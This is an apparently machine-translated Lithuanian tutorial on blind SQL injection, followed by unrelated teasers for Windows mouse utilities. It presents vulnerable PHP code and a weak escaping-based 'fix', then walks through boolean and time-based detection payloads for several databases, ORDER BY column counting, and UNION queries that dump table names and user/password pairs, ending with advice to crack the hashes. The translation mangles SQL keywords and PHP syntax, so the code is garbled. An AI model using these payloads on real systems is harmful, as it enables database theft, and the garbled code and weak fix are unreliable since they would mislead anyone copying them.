Saugumas

Aklųjų SQL injekcijos metodų pamoka

Aklųjų SQL injekcijos metodų pamoka

Kas yra SQL injekcija?

„SQL Injection“ yra duomenų bazės ataka, kai užpuolikas bando pavogti informaciją iš žiniatinklio programos duomenų bazės. Tai netgi gali sukelti nuotolinį kodo vykdymą, atsižvelgiant į žiniatinklio programų aplinką ir duomenų bazės versiją.

SQL injekcija įvyksta dėl blogo vartotojo įvesties dezinfekavimo. Jei imsite vartotojo įvestį kokia nors kodavimo kalba (PHP, ASP.NET) ir perduokite jį tiesiogiai į serverio duomenų bazę, netaikydami jokio įvesties filtro, tai gali sukelti „SQL Injection“ pažeidžiamumą.

Pavyzdžiui, šis PHP kodas yra pažeidžiamas „SQL Injection“ atakos, nes jis tiesiogiai perduoda vartotojo įvestį į duomenų bazę. Užpuolikas gali sukurti savo kenkėjišką duomenų bazės užklausą, kad išgautų duomenis iš duomenų bazės.

// Vartotojo įvestis saugoma kintamajame id
$ id = $ _GET ['id'];
// Vartotojo įvestis tiesiogiai vykdoma duomenų bazėje
$ getid = "SELECT first_name, last_name FROM users WHERE user_id = '$ id'";
// Klaidos ar sėkmės atveju rezultatai grąžinami vartotojui
$ rezultatas = mysql_query ($ getid) arba mirti ('
" . mysql_error () . "
');
$ num = mysql_numrows ($ rezultatas);

Kita vertus, pateikiamas saugaus kodo pavyzdys tokiam kodui sąveikauti su duomenų baze. Tai paima vartotojo įvestį ir filtruoja iš jos visus kenksmingus simbolius, tada perduoda juos į duomenų bazę.

$ id = $ _GET ['id'];
$ id = juostelės ($ id);
$ id = mysql_real_escape_string ($ id);

Įprastas ir aklas SQL įpurškimas

Įprasta SQL injekcija

Įprastu SQL įpurškimu, jei užpuolikas bando įvesti vieną citatą ('), kai ši viena citata vykdoma duomenų bazėje, duomenų bazė atsako su klaida. Klaida spausdinama užpuoliko naršyklėje.

Už šią klaidą atsakingas kodas yra

// jei duomenų bazė atsako su klaida, bus vykdoma funkcija „or die ()“
kad išspausdintumėte klaidą
$ rezultatas = mysql_query ($ getid) arba mirti ('
" . mysql_error () . "
');

Įprastoje „SQL Injection“ programoje užpuolikas gali pamatyti klaidų rezultatus ir juos lengvai atpažinti bei naudoti.

Akloji SQL injekcija

„Blind SQL Injection“ atveju, kai vykdoma kenkėjiška užklausa, pvz., Viena citata, duomenų bazės klaida nerodoma užpuoliko naršyklėje arba ji rodoma labai bendru būdu, kurio užpuolikas negali lengvai nustatyti ir naudoti.

Už tai atsakingas užpakalinis kodas pateiktas žemiau

$ rezultatas = mysql_query ($ getid); // Pašalinta „arba mirti“, kad būtų pašalintos „mysql“ klaidos

„Blind SQL Injection“ atveju užpuolikas negali pamatyti visų rezultatų, todėl tokio tipo SQLi sunku identifikuoti ir išnaudoti, tačiau jo rizikos lygis yra toks pat kaip ir įprastos „SQLi“.

Aklojo SQL įpurškimo aptikimo būdai

Įprastą SQL injekciją galima aptikti siunčiant vieną citatą (') kaip įvestį ir nagrinėjant išvesties klaidą, Blind SQL injekcijos negalima aptikti naudojant šią techniką, nes ji nerodo jokios SQL klaidos. Yra daugybė būdų aptikti aklą SQL injekciją, kai kurie iš jų pateikiami taip

TIKRAS ir NETIESA pagrįstas aptikimas

Viena iš duomenų bazių, įskaitant „MySQL“, savybių yra skirtingas elgesys su „True“ ir „False“ teiginiais. Net jei duomenų bazėje nėra klaidų, mes galime nuspręsti naudoti teisingus ir melagingus teiginius. Apsvarstykite šį scenarijų,

Šis puslapis yra pažeidžiamas Blind SQL injekcijos, suteikiant jam teisingą teiginį bus rodomi visi įrašai duomenų bazėje

1 'arba 1 = 1 #

Pateikus klaidingą užklausą kaip įvestį, duomenys nebus rodomi.

1 'arba 1 = 2 #

Net tinklalapyje nėra klaidų, skirtumas tarp dviejų puslapių rodo, kad mūsų užklausos sėkmingai vykdomos duomenų bazėje.

LAIKO nustatymas

Duomenų bazėse, įskaitant „MySQL“, „MS-SQL“ ir kt., Yra uždelsimo funkcija. Mes galime naudoti funkciją SLEEP () savo užklausoje, jei duomenų bazės atsakymas yra lėtas, tai reiškia, kad mūsų užklausa sėkmingai įvykdyta ir tinklalapis yra pažeidžiamas Blind SQL injekcijos.

1 'IR miegas (15) #

Yra dar viena daug laiko reikalaujanti funkcija „BENCHMARK“, kurią galima naudoti norint atidėti atsakymą į duomenų bazę

1 'IR PALYGINIMAS (10000000, SHA1 (1337)) #

Aukščiau nurodyta eilutė 10000000 kartų vykdys SHA1 () funkciją duomenų bazėje, o tai pridės daug atsakymo vėlavimo.

Laiku pagrįstas aklas SQL įpurškimas kitose duomenų bazėse

MS SQL: ID = 1; laukimo atidėjimas „0: 0: 10“-

ORACLE SQL: IR [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

„PostgreSQL“: IR [RANDNUM] = (PASIRINKITE [RANDNUM] IŠ PG_SLEEP ([SLEEPTIME]))

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', UPPER (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Duomenų bazės informacijos išskleidimas

Pirmasis duomenų bazės išskyrimo žingsnis yra stulpelių numerių nustatymas duomenų bazėje. Tada pabandykite rasti pažeidžiamus stulpelius, kad gautumėte daugiau duomenų.

Akloji SQL injekcija elgiasi skirtingai, kai skirtingi stulpelių numeriai pateikiami užklausoje „tvarka pagal“.

1 'užsakymas pagal 1 #

Pirmiau pateiktas teiginys yra teisingas, nes duomenų bazėje visada yra bent 1 stulpelis. Dabar bandykite su labai daug.

1 'užsakymas iki 10000 #

Duomenų bazės atsakymas skiriasi nuo ankstesnio. Dabar pabandykite naudoti 2 stulpelius.

Pareiškimas veikė, tai reiškia, kad duomenų bazėje yra 2 ar daugiau stulpelių. Dabar pabandykite naudoti 3 stulpelius.

1 'užsakymas pagal 3 #

Duomenų bazė nesiuntė jokio atsakymo, vadinasi, duomenų bazėje yra tik 2 stulpeliai. Dabar bandysime išmesti lentelių sąrašą į duomenų bazę, tam naudosime šią užklausą

1 'sąjunga visi pasirinkite 1, group_concat (table_name) iš information_schema.
lentelės, kur table_schema = duomenų bazė () #

Programinės įrangos duomenų bazėje „svečių knyga ir vartotojai“ yra dvi lentelės. Lentelėje „vartotojai“ gali būti vartotojo vardai ir slaptažodžiai. Norėdami išskleisti stulpelių pavadinimus iš lentelės, įterpkite šią užklausą.

1 'sąjunga visi pasirinkite 1, group_concat (column_name) iš information_schema.
stulpeliai, kur table_schema = duomenų bazė () #

Dabar mes ištraukėme stulpelių pavadinimus, įskaitant vartotojo ir slaptažodžio stulpelius. Šiuose stulpeliuose saugomi klientų vartotojo vardai ir slaptažodžiai.

Dabar bandysime išgauti duomenis naudodami šią užklausą

1 'sąjunga visi pasirinkite 1, group_concat (vartotojas, slaptažodis) iš vartotojų #

Taip galite išnaudoti „Blind SQL Injection“ nepasikliaudami klaidomis. Išvesties slaptažodžiai dažniausiai maišo, kuriuos galima iššifruoti naudojant tokius įrankius kaip „John The Ripper“ ar „Hashcat“.

Išvada:

„Blind SQL Injection“ yra SQLi tipas, nerodantis duomenų bazės klaidų arba atsakantis labai bendru pranešimu. Štai kodėl tinklalapyje labai sunku nustatyti „Blind SQL Injection“ pažeidžiamumą. Aptikę, galite lengvai jį išnaudoti rankiniu būdu arba automatizuotai naudodami „SQLmap“.

Valdykite ir valdykite pelės judėjimą tarp kelių „Windows 10“ monitorių
„Dual Display Mouse Manager“ leidžia jums valdyti ir konfigūruoti pelės judėjimą tarp kelių monitorių, sulėtinant jo judėjimą šalia sienos. „Windows 1...
„WinMouse“ leidžia tinkinti ir pagerinti pelės žymeklio judėjimą „Windows“ kompiuteryje
Jei norite pagerinti numatytąsias pelės žymiklio funkcijas, naudokite nemokamą programinę įrangą „WinMouse“. Tai prideda daugiau funkcijų, kurios padė...
Pelės kairiuoju pelės mygtuku mygtukas neveikia „Windows 10“
Jei naudojate specialią pelę su savo nešiojamuoju kompiuteriu arba staliniu kompiuteriu, tačiau neveikia pelės kairysis mygtukas dėl tam tikrų priežas...